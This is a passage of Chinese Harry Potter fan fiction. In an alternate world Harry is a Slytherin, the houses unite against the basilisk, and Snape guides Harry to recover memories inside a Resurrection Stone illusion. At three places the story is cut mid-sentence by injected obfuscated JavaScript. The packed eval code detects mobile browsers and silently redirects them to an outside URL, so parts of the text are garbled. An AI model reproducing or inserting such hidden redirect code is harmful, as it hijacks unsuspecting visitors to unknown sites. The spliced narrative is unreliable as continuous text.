费尔奇也在帮他找。尽管几乎整个学校的人都讨厌这位喜欢关人紧闭的管理员,哈利还是莫名其妙跟费尔奇———或者说,费尔奇的猫———处好了关系。说来也巧用暑假结束那天,佩妮姨妈执意送他到车站。当时哈利就怀疑她有什么见不得人的打算。果然,等到了宿舍,打开箱子一看,哈利发现里面被塞了一袋猫粮。哈利检查了猫粮,发现确实是正常猫粮,甚至是麻瓜超市里卖得很好的猫粮。哈利不懂姨妈的怪异操作,把猫粮赠送给了霍格沃茨里唯一需要这个的家伙———费尔奇的猫。从此这一人一猫就对哈利翻窗爬墙闯打人柳的行为睁一只眼闭一只眼,有时还主动给他帮点小忙。 第二天去吃早饭的路上,有人叫住他: “你好哈利,这是你的吗?” 传入耳朵的声音含糊不清。哈利转过身,看向声音的主人:她长着一头乱蓬蓬、脏兮兮、长达腰际的金黄色头发,两只眼睛向外突出,且不像普通人那样需要眨眼睛,这使她显得带着一种夸张的吃惊的表情;她的魔杖别在左耳朵后面,一条黄油啤酒瓶盖做的项链在她的脖子上轻轻晃动。哈利认出了这是拉丁文劳的卢娜·洛夫古德,她手里拿着的正是他的眼镜。 “帮大忙了卢娜,谢谢你。你是怎么找到它的?” “它被藏在猫头鹰棚屋里。我在找我丢失的鞋子的时候刚好发现了它。”卢娜指了指自己一只光着的脚。 “他们也藏你的东西?” “噢,”她耸了耸肩,“是这样的,别人总是喜欢把我的东西藏起来———偶尔他们藏起的东西是我需要的,我不得不出来找它们。我想他们认为我有点古怪,你知道。实际上有些人叫我“疯姑娘”。” “他们没有理由拿走你的东西,就像他们也没有理由拿走我的东西一样。”哈利说,“需要我帮你找吗?就当是———你帮我找到眼镜的报酬。”他的心里头涌现出一种奇怪的感觉,过了好一会儿才意识到那是一种难过,为卢娜·洛夫古德难过;或许有的人会称呼这种难过的别名:怜悯。这种怜悯让哈利有些自嘲的想: 这真是一种一个边缘者对另一个边缘者的同情。 卢娜的声音打断了哈利的胡思乱想。 “噢,不,”她银铃般笑了笑,“他们会拿回来的,到最后总是这样。它自己总是会出现的,在某个没被注意到的角落。”卢娜冲哈利挥挥手。她看了一眼哈利的眼镜,也从袍子里掏出一副眼镜带上,虽然外形上和正常眼镜有些不同,但戴法和哈利鼻梁上架着的那副一模一样: “好了,祝你愉快哈利!或许在我的鞋子出现之前,我得先去吃一点点心!” “好……好的,也祝你愉快!” 哈利目送着戴上眼镜的卢娜蹦蹦跳跳的离去。不知道为什么,他总觉得哪里有些怪怪的——— 似乎卢娜的眼镜应该反着戴才对。 …… 哈利去吃饭的时候,听见了不知道什么时候传出来的一阵抱怨声。 “承诺好了的自由,怎么是换种形式的奴役?” 哈利猜想应该是城堡里的某个幽灵。 …… 学校里隐隐有了传言,说某间密室被不知道谁打开了,巨型的蛇怪正在霍格沃茨里游荡。路上的学生都在讨论:大多数在惶恐,穿着绿色袍子的那些在兴奋。 德拉科·马尔福甚至高调地宣布他将亲自迎接斯莱特林图腾的到来。 这样的趾高气昂在出现第一个变成石像的学生的时候戛然而止。学生们被禁止进入发现石像的那一小片区域。路上很少出现形单影只的学生,霍格沃茨加强了戒备——— 这也意味着,哈利此刻最想见到的那条黑狗没办法再偷偷溜到尖叫棚屋来。 斯内普教授也不在学校。听说邓布利多要处理什么重要的事,领着几位院长一块飞向了跨海相望的美利坚合众国。 哈利成了极少数在人群里独来独往的学生。他有时想把自己藏进重新变得空空如也的尖叫棚屋或者有求必应屋,却又害怕斯内普或者小天狼星隔了许久终于回到霍格沃茨时,发现哈利已经在无人在意处变成一尊无法还原的石像。他只好强迫自己像一条沙丁鱼一样混迹在人群中间,即使那些碰在一起窃窃私语的嘴巴里没有一句话是对着他哈利·波特说。他心里害怕,于是总是挑那些楼道上人多的时候走———不管是去图书馆,还是回宿舍楼。他看到马尔福总是扯着两个跟班挡在他面前,然后胆战心惊地打量了四周才跟着跟班飞快地在饭厅与宿舍之间穿行。哈利去图书馆借阅那些记录了蛇怪的书籍,发现赫敏·格兰杰也在那里,两个人很爽快地分了工,一人负责一串编号对应的大部头,时不时交换检索到的有用信息———纵使那些见过蛇怪并还有机会记录这一切的巫师少之又少,留下的只言片语分散在不同类型的书籍里,很难找到。偶尔其他学生也来到这里,看到哈利和赫敏坐在一块,总是先冷嘲热讽一番。 “开什么玩笑,这种时候你们不应该一起帮忙吗?”赫敏总是这样回嘴。 然后就看见这群颜色不同的年轻人垂着脑袋像克服了很大困难似的从桌上的羊皮封面大部头里抱走一部分,等溜到离哈利和赫敏较远的位置上看完了,再拿回来并和他们交换看到的重点。 “来看看这个,格兰杰,你觉得这段童话的可信度怎么样?” 或者:“这本书说得对,波特,我想我们需要一些公鸡———我们中有谁能掌握把羽毛笔变成公鸡的魔咒吗?” 哈利渐渐没那么害怕了;无所不知的图书馆把那些使人安心的秘密分享给留心聆听的人听。这里逐渐攒了一小群人,来者都在寻求留在学校那几个教师的帮助这个想法面前碰了一鼻子灰———尤其是金妮·韦斯莱带回黑魔法防御课教师已经卷起行李跑路的消息之后———发现或许他们不得不生平第一次为自己的生存高举魔杖点亮前路的光。每个人面前的纸张都在以一种近乎癫狂的速度翻动着;被一届又一届霍格沃茨学生厌恶过的大部头一本又一本重见天日,成了这些被焦灼的心情疯狂啃咬的学生最信任的支柱。 这时候,至少在图书馆内,五个学院又合并成了一个。在那些哼哼着的不情愿里,这些穿着不同颜色袍子的学生暂时收起了向外的尖刺。马尔福甚至答应了一位格兰芬多四年级学生———他率先从浩如烟海的书本里找到了蛇怪攻击其他生物的方式———借走光轮2000的请求———当然,这建立在马尔福自己还没没办法骑着扫帚非太远的基础上。 石像仍然在出现,惶恐只增不减。学校里的教师变少了,高年级的学生也骑着扫帚离开了一部分。只是霍格沃茨的魔法没有被撤去,家长们无法来到这里,低年级学生被困在霍格沃茨徨徨。 但也有好消息———至少是对哈利来说:他渐渐发现,从某种程度上说,自己似乎不再总是一个人了。有时从图书馆出来,会发现刚刚一起找资料的学生里总有几个装作不经意般跟在他身后,赫敏离开图书馆时还常常特意叫上他一起走一段路。 “嘿哈利,现在可不是计较你是什么学院出身的时候。” 这些图书馆里认识的人似乎都在注意着不让哈利孤身一人———即使不知从哪一天起,从面上看哈利似乎再也不显得慌张,似乎已经成功从恐惧的煎熬里抽身而出。 某个阳光布满窗外的午后。 图书馆里一团团挤着焦虑、不安与匆忙。不知道第多少次试图把书上的文字印入脑海却只记得住那副画着巨大蟒蛇,索性短暂丢开手里那本用枯燥乏味作墨水写出的书,半倚在椅子一角放空。羽毛笔写字的沙沙声、远处的叹气声、一本书被放回一本书被拿起发出的碰撞声,在那个放空的时刻装作不经意的样子路过他的耳膜。空气被他想象出一种光滑的质感,容得了所有自由的声音在里头摸索。 滑滑溜溜。滑滑溜溜…… 等等! 脑海里疯狂闪现最近发现的几尊石像所处的位置和面朝的角度,哈利和猛然从成山的书本里抬起头来的赫敏几乎同一时间喊出: “Pipes(管道)!” 只有管道,连接了校园的到到处处,且里部不可为外部看见,足以蛇怪像幽灵一样突然出现再迅速溜走。这个猜测被传上去之后,学生们都避免靠近那些有管道的地方,石像果真没再出现。关于蛇怪的故事已经接近它的尾声:邓布利多很快抽身回来,关上了密室大门———然后又很快离开,一切归于太平。 除了——— “德拉科·马尔福呢?” 德拉科·马尔福以及他的两个跟班不见了。整所学校的人都在找他———即使罗恩嘴里一直在抱怨。 所有人都想到了那个可能性,但没人率先说出口。学生们下意识地寻找邓布利多的帮助,却发现校长在密室门关上后就返回美利坚了。 “所以,”赫敏的声音有些颤抖,“我们需要再次打开密室吗?” “可是校长和院长们不在,我们能对付蛇怪吗?”罗恩问。 “我们连密室门都打不开!” 哈利听见了几个斯莱特林同学的哀嚎———倒不是有多忠心,只是他们好不容易才加入了马尔福的队伍,要是马尔福出不来,之前的心思就白花了。他面上依然淡淡的,心里却一阵猫爪子挠过一样的难受。 “办法也不是没有。” 说话的仍然是赫敏,大家的眼光再次看向她。 赫敏一只手揪着袍子,一只手捏着魔杖,身体有些微微颤抖;她定了定神,声音不大但很清楚地说: “已知蛇怪是用眼睛攻击人的,那如果我们在蛇怪的全视角范围内立起镜子,那么这些魔法都将被反射到蛇怪自己身上,蛇怪就有概率也变成石像,我们就能趁机寻找马尔福一行。” “只是这种办法存在两个问题:第一,我们需要足够多的人举起镜子———因为据我所知,在我们一二年级的学生之中,没有谁的悬浮咒使得出神入化,而镜子的摆放哪怕出再小的一点问题都会导致蛇怪重新在学院伤人;第二……” 赫敏的声音小了,金妮接过话头: “我们应该怎么打开密室呢?书上说的是,我们需要一个蛇佬腔……” 人群中议论声在变大。哈利拿捏不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“隆巴顿,现在不是你泛滥爱心的时候!” “纳威,到我们这边来。” 纳威没有动,罗恩犹豫了一下,也从队伍里走出来,站到纳威身边: “可是……如果是哈利打开的密室,他根本不需要和我们一起花这么长时间泡在图书馆里寻找解决办法。” “可是这万一只是做戏呢?万一他的目的是再次打开密室呢?” “那他为什么不自己偷偷一个人去?这样不是更方便吗?”弗雷德·韦斯莱接嘴道,“不管怎么说,我相信哈利不是坏人。” 人们七嘴八舌地争论着。 “不管哈利是否在说谎,我都愿意试一试。毕竟是三条人命,既然有保全自身的办法。我不希望对不起自己的良心。”纳威再次开口,“我这里有些草药,是之前庞雷德女士治疗已经变成石像的同学用的。即使我们都变成了石像,一切都还有回旋之地。” 人群中心,纳威展示出的是一种寻常从未见过的镇定,让哈利又想起了那个和神秘人相关的传说。不知道是不是因为有这样一层背景在,纳威·隆巴顿身上闪现着一种浓浓的救人情怀,吸引着很多人不由自主地向纳威靠拢。这种情怀也同样照在哈利身上,使他眯起眼睛。 赫敏再次提问:“愿意去救马尔福的同学举手。” 纳威的手坚定地举起来,跟着,从各个学院的队伍里举起几十双手。哈利的手也在那些高举的手臂之间。赫敏笑了。 后来发生的事就不用赘述了,一切按照赫敏的布置顺利进行着。几十人组成的营救小组浩浩荡荡穿过桃金娘所在隔间的马桶来到密室门口,大家虽然紧张,但好在人多,彼此壮胆,总算是布置好了镜子。哈利用蛇佬腔打开密室的门,引着蛇怪出了密室的门,在蛇怪带着暴怒看向这群不速之客的一瞬间,镜子的反射起了作用。 计划成功了,蛇怪变成了一尊石像。人们心中送了一口气。他们很容易就在密室角落找到了变成石像的马尔福三人———从姿势上看一直缩在跟班身后的马尔福在最后关头把跟班揽到了身后———并动作粗鲁地把他们搬回医务室,等待庞雷德夫人对他们进行治疗。 这一切都结束以后,这支一同战斗过的队伍之间,那些罅隙似乎又靠拢了些,赫奇帕奇的同学会主动帮纳威寻找蟾蜍,罗恩教会了哈利巫师棋。赫敏和哈利的关系还是原来一样,两人经常在一起讨论关于魔法的问题———或者说,赫敏和哈利的关系并没有发生太大的改变,赫敏从来没在意哈利的斯莱特林身份,哈利也从未在意这个聪明的大门牙女巫是否穿着格兰芬多的袍子。 德拉科·马尔福恢复后也转了性。他又一次找到哈利,别扭了半天,试图张开双臂但很快又把手背到背后,侧着身子微微带着些不自然地说:“波特,我是说,哈利,如果哪天你想好了,我依然给予你成为我的朋友的荣幸……我的意思是,我的身边依然为你留着一个位置……” …… 没人再对哈利提出过怀疑,哈利不明白这些信任为何来得如此轻易———当然,他很喜欢这种被相信的感觉。 哈利再也没莫名其妙丢过东西。 他还帮卢娜找到了一只袜子。 他把一切告诉回到学校的斯内普教授,斯内普教授揉了揉他的头,然后继续叫他练习大脑封闭术。在意料之中的又一次看到哈利脑海里的一切后,斯内普教授露出了一种不怎么明显的欣慰表情。 哈利依然一个人穿行在学校里,只是一路上多了些可以打招呼的人。他甚至和赫敏一起教罗恩和纳威如何使用电话———“拜托,暑假一定要给我打电话!我可不想整个暑假都只能和达力·德思礼说话。”暑假开始之前,没有像韦斯莱先生那样熟悉麻瓜世界的父亲的纳威无奈地和他约定:一定要给彼此写信。 8. 假如韦斯莱双子没有给哈利活点地图 我们唯一值得恐惧的,是恐惧本身。 …… …… …… 出乎哈利的意料,去往霍格莫德村的监护人许可上出现了佩妮姨妈的签名。后来哈利会在周六去三把扫帚坐坐,点一杯黄油啤酒或者加冰和小伞的苏打。 相比遭遇蛇怪、暴露蛇佬腔、营救密室里的同学的霍格沃茨第二年,哈利·波特的三年级显得平淡无奇。如果硬要说有什么不同,或许是哈利跟各个学院的同学都走近了一些:他依然穿行于塔楼、图书馆、打人柳和有求必应屋之间,但很乐意偶尔停下脚步,和向他打招呼的同学说上两句话,甚至帮纳威找过几次蟾蜍;魔药课上他会偷偷告诉马尔福,应该往沸腾的坩埚里加两滴莎莎叶汁液。 他也给费尔奇带过一袋麻瓜世界卖得很好的猫粮。 哈利·波特的三年级,是他为斯莱特林魁地奇球队效力的第三年。原先的队长毕业了,哈利因过人的球技被破格被提拔为队长。招新选拔在整支球队的参与里如火如荼地展开,新守门员德拉科·马尔福的加入让几个骑光轮2000的队员拿到了最新款的扫帚。哈利骑着小天狼星送的火箭弩和金妮·韦斯莱抢夺着金色飞贼的最后归属,斯莱特林和格兰芬多在一次又一次冠军之争中摩擦出惺惺相惜——— 没人理解这份惺惺相惜,就连两位院长也感到惊奇。新一代的狮子与蛇之间少了不可相容的对立,似乎从某个时候或者某个人开始,百年的干戈有了化为玉矛的希冀。 “西弗勒斯,谢谢你送的圣诞节礼物。我很喜欢这条绿色围巾。” …… 哈利终于见到了合照上的第三个人———卢平·莱姆斯,新的黑魔法防御课教师。他的办公室柜子里有一只博格特,在一节黑魔法防御课课上因为纳威的恐惧变成了西弗勒斯·斯内普。 “格兰芬多加十分,因为纳威有勇气第一个尝试。好了,到你了哈利。别紧张,你只需要在博格特被放出来的一瞬间大喊滑稽滑稽。” 哈利有过很多设想,包括博格特可能变成佩妮姨妈、弗农姨父、达力表哥,甚至密室里那条蛇怪。他也准备好了:如果变出的是佩妮姨妈,就想象她变成一匹马;如果变出的是弗农姨父,就想象他涨成气球;如果变出的是达力表哥,就想象他长出一根猪尾巴;如果变出的是蛇怪,那么不需要多余的想象,只需要回忆那尊造型奇异的石像。 可是,在哈利面前,什么都没有出现,柜子里空空的,博格特也没有现出原型。排队的同学都露出了困惑的表情,最后是卢平教授走过来,指着博格特突然变出的银色球体挥动魔杖: “滑稽滑稽。” ……罗恩好奇地凑过来:“哈利,真的没有什么让你恐惧的事物吗?” “或许你应该来格兰芬多才对!”纳威接过话。 哈利冲他们笑了笑,跟着赫敏快步向图书馆走去。 …… 卢平教授有时会跟哈利一起去到尖叫棚屋,小天狼星已经等在那里并准备好了黄油啤酒。满月到来之前斯内普会一脸不情愿地交给哈利一瓶药剂,让他顺便带给卢平教授———“因为我本人一点也不想见到他那张讨厌的脸”。在尖叫棚屋度过的白昼,哈利一边喝酒,一边听两个大人嘻嘻哈哈讲他们上学期间和詹姆·波特一起干过的趣事———“你知道吗哈利,詹姆有一件隐形衣,我们经常披着隐形衣出没在学生不应该出现的地方。我们偷听过霍格沃茨的各种秘密,触碰过霍格沃茨的每条校规,知道霍格沃茨的所有机关,还在周六以外的时间偷偷溜去霍格莫德村兜风作乐。”他们交给他一副活点地图——— “这已经不是原来那张杰作了,哈利———原件在我们七年级那年被讨厌的费尔奇没收了。所以我和莱姆斯不得不趁着再次碰面且比较清闲的这个机会重新做了一份。如果你想做一些调皮捣蛋的事,这份地图一定不会让你失望。”小天狼星眨眨眼睛。 虽然哈利并没有显现出对这张地图有多大的兴趣,但小天狼星还是很兴奋地在他前面展开了这张羊皮卷———“小天狼星,你大可以承认其实是你自己想玩活点地图。” “你什么时候沾染上了跟詹姆一样爱拆人台的臭毛病,莱姆斯?你们都看好了!” “我庄严宣誓现在以及将来我只干好事。” 小天狼星拿魔杖敲敲地图,空白的羊皮卷上浮现出一行字: 月亮脸、大脚板和尖头叉子,专为魔法恶作剧制造者提供帮助的诸位先生隆重推出活点地图。 紧接着,那些原本空白的部分墨线延伸,一张霍格沃茨的地图迅速出现在哈利眼前;许多标着名字的小黑点正在移动:赫敏正走向图书馆,斯内普刚离开魔药课教室,费尔奇跟在他心爱的猫后面,马尔福和两个跟班待在一起;但他没看到邓布利多。 校长今天也不在学校吗? “啊小天狼星,我们的作品似乎被校长发现了。话又说回来,难怪他总能抓住违反校规的我们呢!你瞧,他不知道施了什么魔法,竟然逃过了活点地图的监测———感谢他的仁慈,没有在我们原来偷偷溜去霍格莫德村的时候出面制止。” “但我还是得说,除了这点微不足道的缺陷———毕竟邓布利多总是对我们的冒险睁一只眼闭一只眼———这地图真是天才般的设计。哈利,我们作为初代设计者大脚板和月亮脸———顺便代表你的爸爸尖角叉子———光荣宣布把这个宝贝交给你———我们意志的继承者!希望它能给你的霍格沃茨生活增添一点乐趣!”小天狼星和卢平哈哈笑起来,小天狼星露出洁白的牙齿,“恶作剧完毕。” 月亮脸、大脚板和尖角叉子的痕迹在瞬息间被悄然抹去,羊皮卷恢复成空白。哈利把它卷起来收好———他估计自己永远不会用到它———但他很愿意留着这么一件和爸爸还有爸爸的朋友有关的物件———尽管他心里同时在想: 看在那些从爸爸那个时代就一直被挑战的校规的份上,乔治和弗雷德应该很需要它。 小天狼星和卢平还在说话,小天狼星显得有些吵,卢平相对安静———但两个人始终都有聊不完的话题。如果哈利更仔细一点,他会在那些细纹编织的脉络里找到浓浓的怀念和淡淡的惆怅。 哈利·波特在霍格沃茨的第三年,和霍格沃茨的钥匙管理员、猎场看守、新任神奇动物课教师混血巨人海格·鲁伯茨相处得还不错;尽管他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哈利,我们需要再进到冥想盆里一次。只是这次,我们看的东西和之前有些不同。”斯内普教授从袍子里拿出另一只小瓶子,“希望你准备好了。” 希望你有足够的勇气。 希望你有足够的毅力。 希望你能够握紧你的钥匙 希望你不再逃避。 花园在呼唤你,我在出口等你。 别再犹疑。 哈利。 …… 有求必应屋里哈利点点头。 斯内普领着他再次来到戈德里克山谷 十三岁的哈利·波特再一次见到了一岁那年震撼整个巫师世界的绿光。 天空在飘雨。 十三年前的西弗勒斯·斯内普在哭泣。 画面继续流动。 真相在阻挠里剥离。 …… 在散乱无序的牌桌上,哈利·波特终于摸到了洗清牌型的第一张牌。 哈利忘记了自己什么时候回到了有求必应屋,只知道他推开门的时候,看见城堡之外淅淅沥沥有一场雨。夏天大概要到来了,比夏天先到来的是一场调了夏日风味的雨,冲淡了弥漫在整个世界的厚重。 “对不起教授,我忘记了那么多次。” “谢谢你教授,带着我一次又一次回到被遗忘的过去。” 哈利·波特记起了那些更重要的事情。 9. 假如哈利没有和韦斯莱一家看魁地奇世界杯 卢修斯·马尔福在儿子的强烈要求里,给斯莱特林球队的每一个人都弄来一张魁地奇世界杯的票。 在前往休息帐篷的路上,这群年轻的斯莱特林撞见了正交给卢多·巴格曼37加隆、15西可、3纳特外加一根恶作剧魔杖的韦斯莱双胞胎。在卢修斯和亚瑟冲着对方的臭脸冒出一些恶狠狠的字眼之前,格兰芬多的击球手、找球手外加罗恩、赫敏和纳威就冲过去和斯莱特林整支球队兴奋地抱在了一起。 “嘿哈利,好久不见!没想到你也来看比赛!还以为你不喜欢这种人多的场合!” “在这里遇见你真是太好了!金妮,你的蝙蝠精咒练得怎么样啦?” “你们认为谁会赢?” “我跟弗雷德赌爱尔兰赢——但威克多尔·克鲁姆会抓到金色飞贼。” “巧了这不是,我们也这样认为!”球队嘻嘻哈哈地跟四个韦斯莱、一个格兰杰、一个隆巴顿击掌碰拳,然后在两位父亲的催促里道别。 “乔治,弗雷德,金妮,还有你罗恩,你们怎么回事?忘记妈妈在你们去霍格沃茨之前怎么说的了吗?离那些讨厌的斯莱特林远点!斯莱特林里可没什么好东西!”趁着纳威和赫敏回帐篷放东西,珀西冲弟弟妹妹们低吼道。 “哦珀西,放下你的偏见吧!———也不知道可怜的斯莱特林怎么这样受到你们的排挤。弗雷德,有什么大名鼎鼎的坏巫师是从斯莱特林毕业的吗?———或者说,有哪个斯莱特林比被金妮揭穿谈恋爱的事的珀西更让人害怕呢?” 乔治带着夸张的语气把话头抛向他的双胞胎兄弟,两个人一起哈哈大笑起来。 “拜托,这只是两支经常一起打比赛的球队在魁地奇世界杯赛场的偶遇!打招呼多正常啊,球队没你们那么多曲曲绕绕的关节。” “要我说,还得看我们球队———” “别往自己脸上贴金,罗恩小鬼头!你可不是格兰芬多队的一员。” “闭嘴乔治,我迟早会加入进来的!” …… 小天狼星和卢平也在。哈利去找他们的时候,小天狼星正在卢平的帐篷里聊天。 卢平妻子和儿子也在。 “这是我爱人唐克斯。这是我儿子泰勒。” 奇怪的是,卢平还没向哈利介绍唐克斯,这位有着泡泡糖一般的粉红色的漂亮女巫就向哈利伸出了手: “你好哈利。” 唐克斯在心里说完了剩的半句话:好久不见。 她的眼睛不自觉地看向哈利的额头,尽管有头发遮盖,但她的目光还是精准地锁定了那道闪电型的伤疤。卢平注意到了,不自然地拉拉妻子的手,小天狼星紧接着开口: “我们原来从不落下任何一届世界杯,我、詹姆还有莱姆斯都喜欢看这个。” …… 哈利没去在意教父转移话题的尝试,而是直截了当的开口: “我学会大脑封闭术了。” 帐篷里的气氛一下子严肃起来。 “实验过了吗?” “斯内普有进一步检验吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193133|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“现在能够做到哪一步?” “斯内普教授带我看的记忆,我不会再忘记了。” 小天狼星三人对视了一眼。 “而且,我比你们记住的,可能要更多一点。” …… 哈利是架着斯内普教授从冥想盆里出来的。斯内普没有多余的力气来和刚刚经历过巨大冲击的哈利说上一两句宽慰或嘲讽的话———就像在哈利真正的求学时光里,斯内普曾一次又一次在他的怨恨里做过那样;可他还是执意地望着哈利的眼睛。那翠绿的闪着光泽的眼睛里,装着一个蝙蝠一样的男人最干净的思念。 “斯内普,斯内普教授……” 我记起一切了。 哈利慢慢地给斯内普讲在他沉睡以后,他怎样按着邓布利多的希望放下武器,走进禁林。 怎样在禁林里,按照邓布利多的希望,再次见到那道绿光。 斯内普没有表扬他,也没有责怪他。他只是静静地听着,好像思绪已经飘向了什么遥远的遐想。 最后他说:“我还是教会你了,波特。” “你说什么,教授?”哈利俯下身去听。 “大脑封闭术。” 你五年级那年没学会的那个魔法。 哈利突然很害怕。他突然想起了在现实世界里,斯内普也是这样,安静地,把所有记忆交给了自己。 “教授!” “别担心,波特。” 这一次,我会陪你久一点,陪你战到最后一场。 …… 10. 虚拟语气 “所以我们在复活石模拟的世界里?这里的每一个人都只是现实世界里的意识的投影?” “准确来说,在现实世界里还活着的人,如果出现在这里,他们就只是意识的投影。相应的,这些人无法保留记忆,被迫接受了一套新的世界观,在新的世界观里重新开始从1991年开始的一切。他们当中有一个人除外,也就是那个操纵魔法石的人,他也来自现实,依然是血肉之躯,但保留所有记忆;正是他控制着这个虚拟世界的走向。哈……波特,我们必须找到他,才能破除幻境。” “同时,其他本身就以意识的形态留在世间的人,如果进入这里,都能够短暂地保持记忆。但是由于这样的行为不符合这个世界的逻辑运行,所以他们的记忆会被不知不觉纂改,最后完全融入这里。” “你可以试着问问小天狼星或者卢平,看他们还记不记得他们是怎么出现在这里。” ……“这里的运行逻辑是什么?” “我简单推理过:既然是复活石模拟的世界,底层逻辑应该就是围绕‘复活’这两个字展开;想要人们都活着,最简单的办法就是删除伏地魔这个影响因素,使一切与伏地魔及其追随者的战斗可以被避免,人们就得以在逻辑线成立的前提里存活。这也是为什么之前我们回看记忆时,你无法记住草坪之后的事———因为从进入霍格沃茨开始,所有人都与汤姆·里德尔有了或深或浅的联系。同样的,这也解释了为什么从来没有人正面回答你关于神秘人的疑问———因为在这个世界里,本不应该存在神秘人———这是我还没想清楚的其中一个点。如果是我操控复活石,为了让被察觉异常的可能最小,我压根就不会设置这样一个角色,再安排一个隆巴顿来惹人注意。” “我不明白的另一个点是,密室是谁打开的。如果以上推断成立,跟伏地魔有关的一切人和物都不应该出现———你一年级时未在这个世界出现的奇洛和没有被关进阿兹班卡的小天狼星就足以说明这一点。” 第一缕晨光照进霍格沃茨的窗户时,哈利依然和斯内普教授一起坐在教室办公室地板上铺着的柔软地毯上。这是从有求必应屋出来的第二天早晨,在斯内普的意料之中,哈利挑了一个办公室里没有别的人的时候,敲响了这扇虚掩的门。 好像什么都不曾发生,斯内普没给哈利看那段残酷的回忆,哈利也没想起来跟自己有关的一切;就像哈利仍然只是一个斯莱特林的三年级学生,因为魔药课和黑魔法防御课展露的天赋得到了老师重视,正在跟着老师学习更高深的魔法。 哈利被一种荒诞感包裹着,这个世界的一切就像虚拟语气里的if语句,是偏移现实的假设,也是已经流过太多泪的哈利心里最深处的奢望。 “假如。” 时间线依然在前进,假设却永远指向过去;过去与未来永不重叠。 因为发生的一切并不会发生,所以哈利第一次有勇气扑进西弗勒斯·斯内普的怀里,西弗勒斯·斯内普也罕见地露出一种极为温柔的神色;现实里混血王子通过一本课本给予他的底气,被这个世界里的斯内普亲自交到他的手上。 也是在这里,他们因为不知晓,成为了真正的师徒。 不对。 斯内普知晓。 斯内普不曾忘记过现实世界里发生的一切。 他是最厉害的大脑封闭术大师,伏地魔不能撬开他的秘密,复活石无法纂改他的思想。斯内普是if语句里表示条件时那个非虚拟的表达;他在被遗忘之处选择坚守在原地等待,在遗忘者面前选择敞开心怀。他尝试着成为与真正的过去不一样的那个人,踏上了那条或许被现实里的他一遍又一遍设想过的小径——— 踏上了那条扫却蜘蛛尾巷的阴冷,遍布青草的芬芳的小径。 在那条小径上,他不被喊作斯内普,也不曾嘶哑地喊出哈利的姓。他是莉莉的孩子的老师,他愿意把莉莉灌注了全部的爱的那个孩子捧成珍宝。 他留恋。 他欢喜。 他终于被允许光明正大地以正面的形象出现。 但他放手。 因为哈利不能在这里停留。 他把离开的钥匙送到这个孩子跟前。 西弗勒斯·斯内普知道现实里邓布利多给哈利计划的结局,但即使最后的终点相同,走上的道路不同,一切也就不同。 更别提,这条路早已与更多人息息相关;而所有相关者,都是哈利在意的对象。 西弗勒斯·斯内普曾经拼尽一切留住莉莉·伊万斯的生命的延续,他曾无数次流连着望向那双碧绿色的眼睛;可是他必须决断,必须残忍,为了确保莉莉·伊万斯的理想能在这个已经不再拥有他和她的世界实现,为了莉莉·伊万斯的孩子不像一头养在围栏里的猪一样麻木地沉湎,为了哈利在意的人和物能更好地活在用哈利的血肉换来的和平里。 他要给莉莉的孩子选择的机会;即使那孩子是一头待宰的猪,他也要加那头猪在最后的时刻到来之前睁开眼睛,看清世界的真相;清醒的时间越长,沿途可以做的事情就越多,哈利甚至来得及唤醒那些在幻觉世界里逃避的个体,为现实里的大战增添哪怕只是一个战斗力的希望。西弗勒斯·斯内普知道选项只有一个,但他觉得就算这样,也应该是莉莉的孩子像个英雄带着骄傲自己走向那个选项,并顺带着唤醒他希望唤醒的灵魂,即使这救赎的底色是悲怆。 “去找到他,波特!” “去吹散这里的白雾。” “正在遗忘过去的人需要你把他们唤醒,麻木其间的人需要重拾意识的强壮。” “我会陪你一起。” “哈利。” “这一次,我会陪你一起……” …… 走出教师办公室的时候,哈利突然意识到一个问题: 既然是复活石里的世界,那么爸爸妈妈在哪里呢? 斯内普在,小天狼星在,卢平在,弗雷德在,邓布利多在…… 但是莉莉·伊万斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193134|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和詹姆·波特在哪里呢? …… 等等,弗雷德也有记忆? …… 弗雷德·韦斯莱。 弗雷德从来没想过,一切都会有再来一次的机会。 当他再一次睁开眼睛见到自己的双胞胎兄弟,见到乔治·韦斯莱那只完好如初的耳朵,他的眼泪一下子就淌了出来。所以他和乔治一起跳起来,趁机在还没被人发现时擦干眼泪,然后兴奋地叫出: “那是我弟弟!” 那是我弟弟,和哈利·波特还有赫敏·格兰杰一起智斗蛇怪,勇闯神秘事务司的弟弟;和哈利·波特还有赫敏·格兰杰一起销毁魂器,对抗伏地魔的弟弟。 所以当罗恩说出那句“我会加入球队的”时,弗雷德在心里默默点头。 是的罗恩,你会成为格兰芬多最厉害的守门员,虽然要克服一些困难,但最后你的同学们发自内心为你唱起了那首歌: 韦斯莱是我的王。 